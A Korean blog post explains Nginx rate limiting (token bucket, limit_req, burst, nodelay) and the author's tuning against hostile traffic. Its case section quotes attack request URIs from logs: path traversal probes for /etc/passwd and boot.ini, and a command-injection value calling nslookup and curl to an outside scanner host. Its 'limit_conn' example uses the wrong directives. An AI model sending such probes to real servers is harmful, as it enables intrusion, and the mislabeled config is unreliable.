[DevOps] Nginx Rate Limit

안녕하세요? 정리하는 개발자 워니즈입니다. 이번 시간에는 Nginx를 통해 트래픽을 제어하기 위한 기능은 Rate Limit에 대해서 정리해보도록 하겠습니다. 필자가 Rate Limit 적용을 하면서 겪었던 사례도 함께 정리합니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

1. Rate Limit 이란?

Incomming connection 혹은 requests 에 대한 rate을 제한하는 기능입니다.

예를들어 너무 많은 connection이 동시에 발생해 server에 부담을 가하는 경우, rate limit을 초과한 connection은 reject할 수 있습니다.

Rate Limit을 사용하는 이유

Rate Limit을 사용하는 이유는 다음과 같습니다.

  • DDos공격에 의한 자원 고갈을 방지
  • 서버 과부하 방지
    • Bot에서 오는 트래픽이나 사용자의 잘못된 이용 패턴으로 유발된 트래픽을 걸러내는데 활용
    • 서버가 처리할 수 있는 요청의 임계 값을 넘어선 요청을 방지함으로써 서버의 안정성을 높이는 역할

Rate Limit 알고리즘

  • 토큰 버킷은 지정된 용량(버킷 크기)을 갖는 컨테이너로, 사전 설정된 양의 토큰(토큰 공급률)이 주기적으로 채워집니다.
    • 각 요청은 처리될 떄 마다 하나의 토큰을 사용합니다.
    • 요청이 들어오면 먼저 충분한 토큰이 있는지 검사한 후, 있는 경우 버킷에서 토큰 하나를 꺼낸 후 요청을 전달합니다.
    • 만약 충분한 토큰이 없는 경우, 해당 요청은 버려집니다.
  • 장점
    • 큐의 크기가 제한되어 있어, 메모리 사용 측며네서 효율적
    • 고정된 처리율을 갖고 있어 안정적 출력이 필요한 경우 적합
  • 단점
    • 단 시간에 트래픽이 몰려서 요청이 들어오면 쌓이게 되고 제때 처리하지 못하면 최신 요청들은 버려지게 됩니다.
    • 버킷 크기의와 처리율을 튜닝하기 까다롭습니다.

2. Nginx Rate Limit 설정

Nginxdㅔ서는 Rate Limit을 2가지 방식으로 제공하고 있습니다.

  • limit_req – 요청 제한
    #동일 아이피 당 Rate을 10r/s로 제한하겠다는 의미
    limit_req_zone $binary_remote_addr zone=request_limit_per_ip:10m rate=10r/s;
    
    server {
      location /login/ {
          limit_req zone=request_limit_per_ip burst=10 nodelay;
    
          proxy_pass http://my_upstream;
      }
    }
    
  • limit_conn – 커녁션 제한
    #동시에 서버에 연결되는 커넥션 수로 10개로 제한하겠다는 의미
    limit_req_zone $server_name zone=request_limit_per_server:10m;
    
    server {
      location /login/ {
          limit_req zone=request_limit_per_server 10;
    
          proxy_pass http://my_upstream;
      }
    }
    

Zone

  • rate limit을 적용할 zone을 정의합니다.
    • $server_name(per serer)
    • $binary_remote_addr(per user)
    • $request_uri(per uri)

zone size

  • zone의 이름과 메모리에 저장할 zone의 사이즈 결정
    • zone=MYZONE:10m

limit_req 정의

  • rate=1r/s, rate=60r/m과 같이 frequency를 정의합니다.
    • 예를들어 10r/s가 1초당 10개의 요청이 처리된다는 것이 아닙니다. 0.1초에 1개의 요청을 처리할 수 있다는 의미입니다.

Burst Mode

burst를 적용하면, rate limiting을 초과하는 connection을 즉시 reject하지 않고 wait하게 만들 수 있습니다. 일부 rate limit을 넘어 들어온 요청을 queue에 적재하고, rate limit 속도에 맞춰 pop 되어 실행합니다.

  • 속도가 제한된 엔드포인트에 10개의 병렬 요청 보내기
    • 10개 요청 중 9개가 거부됩니다. 이는 30r/m 즉, 2초마다 새 요청이 허용된다는 의미입니다. 여기서는 10개의 요청이 동시에 도착했고, 그 중 하나는 허용되고 나머지 9개는 nginx에서 거부가 됩니다.

  • Burtmode를 통해 허용치 늘리기
    • burst=5 를 통해서 버스트를 처리할 수 있도록 합니다. 기존에는 1/10에서 6/10개가 성공이 되도록 허용치를 늘렸습니다. ( 나머지는 거부 ) 그러나 여기서 주목해야될 것은 나머지 5개가 허용이 되었더라도 30r/m 즉, 2초마다 1개의 요청에 대해서 처리하도록 제한합니다.

  • Nodelay를 통해 burst mode된 나머지 요청도 지연없이 처리 하기
    • burst=5 인경우와 처리되는 갯수는 동일합니다. 그러나 이제 처리 속도는 2초당 1개의 요청속도로 엄격하게 제한되지 않습니다.

4. Nginx Rate Limit 사용 사례

필자가 운여하는 서비스에서 공격성 트래픽이 다수 들어오는 케이스가 있었습니다. 서두에서도 설명했듯이 Rate Limit을 설정하는 이유는 외부의 비이상적 트래픽으로부터 서비스를 보호하고 안정성을 유지하기 위함입니다.

Requested URI 분석

  • 공격성 트래픽에 의한 Request 패턴을 분석하기로 했습니다.
    • 다양하게 호출을 하면서 내부의 취약점을 찾으려는 내용들이 식별됐습니다.
    {request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\etc/passwd"}
    {request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/./WEB-INF/web.xml?"}
    
    GET /api/v1/games/������������������������������������������������������������etc��passwd
    GET /api/v1/games/(nslookup-q=cnamehitufxhlvamalcfebb.bxss.me||curlhitufxhlvamalcfebb.bxss.me))
    GET /api/v1/games/../../../../../../../../boot.ini
    

  • Rate Limit을 설정하기 위한 RPS 확인 (회고를 위한 기록)

    • 사실 해당 영역의 분석은 잘못된 내용입니다.
    • rate limit을 속도의 개념으로 생각해서 rps 분석을 통해서 적절한 값을 찾으려고했습니다. <- 이부분 부터가 잘못된 생각이였습니다.
    • 아래의 그림을 통해서 rate limit 설정치 : 2 <= 제한값 <= 17 의 설정치를 계산했지만, 잘못된 내용이였습니다.
    • rate limit은 한개의 요청 이후 다음 요청이 들어올 떄까지의 속도이고 예를들어 `30r/m“은 2초안에 1개의 요청만 허용한다는 개념입니다.

다시 처음부터 분석

  • Rate Limit 산정을 위한 Request 분석
    • 한개의 IP에 대해서 요청을 상세히 분석합니다. 하나의 요청으로부터 다음 요청까지의 시간 차이를 계산하여 대략적인 rate limit의 값을 계산했습니다. 여기서는 약 0.2초의 1개의 요청을 허용하도록 산정하여 5r/s 로 산정을 하게 됐습니다.
    - 2023-07-21 14:53:32.105 "GET / HTTP/2.0”
    - 2023-07-21 14:53:32.361 "GET /robots.txt?1689918812080 HTTP/2.0”
    - 2023-07-21 14:53:32.857 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
    - 2023-07-21 14:53:33.358 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
    - 2023-07-21 14:53:34.109 "GET /api/v1/drops/banners?size=10 HTTP/2.0”
    - 2023-07-21 14:53:34.359 "GET /api/v1/games/title HTTP/2.0”
    - 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
    - 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F%5 HTTP/2.0"
    

설정 예시

  • 실제로 설정한 예시
    #Back-end의 API에 대한 rate limit
    limit_req_zone $whitelist zone=be_access_limit_per_ip:10m rate=10r/s;
    ...
    location ~ ^/(api|pg-api)/ {
      limit_req zone=be_access_limit_per_ip burst=5 nodelay;
      limit_req_status 429;
      # limit_req_dry_run on;
    
    
    #Front-end에 대한 rate limit
    limit_req_zone $whitelist zone=fe_access_limit_per_ip:10m rate=10r/s;
    ...
    location /  {
      limit_req zone=fe_access_limit_per_ip burst=5 nodelay;
      limit_req_status 429;
      # limit_req_dry_run on;
    
    

5. 마치며…

이번 시간에는 nginx의 rate limit 기능을 알아보고, 실제로 적용해던 사례에 대해서 정리를 해보았습니다. 처음에는 단순하게 속도의 개념으로 알았는데 1개의 요청으로부터 다음 요청이 들어오는 사이의 시간을 조정하는것을 알게 됐습니다. 또한 burst mode를 통해서 동시다발적으로 요청이 들어올때도 제어해서 요청을 처리 할 수 있게 됐습니다. Nginx의 기능을 통해서 트래픽을 제어할 수 있게 되어 서비스에 많은 공헌을 하게 된것 같습니다.

6. 참고

NGINX rate-limiting in a nutshell

[Nginx] Rate Limiting

[Nginx RateLimit] Nginx에 RateLimit 적용해보기

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다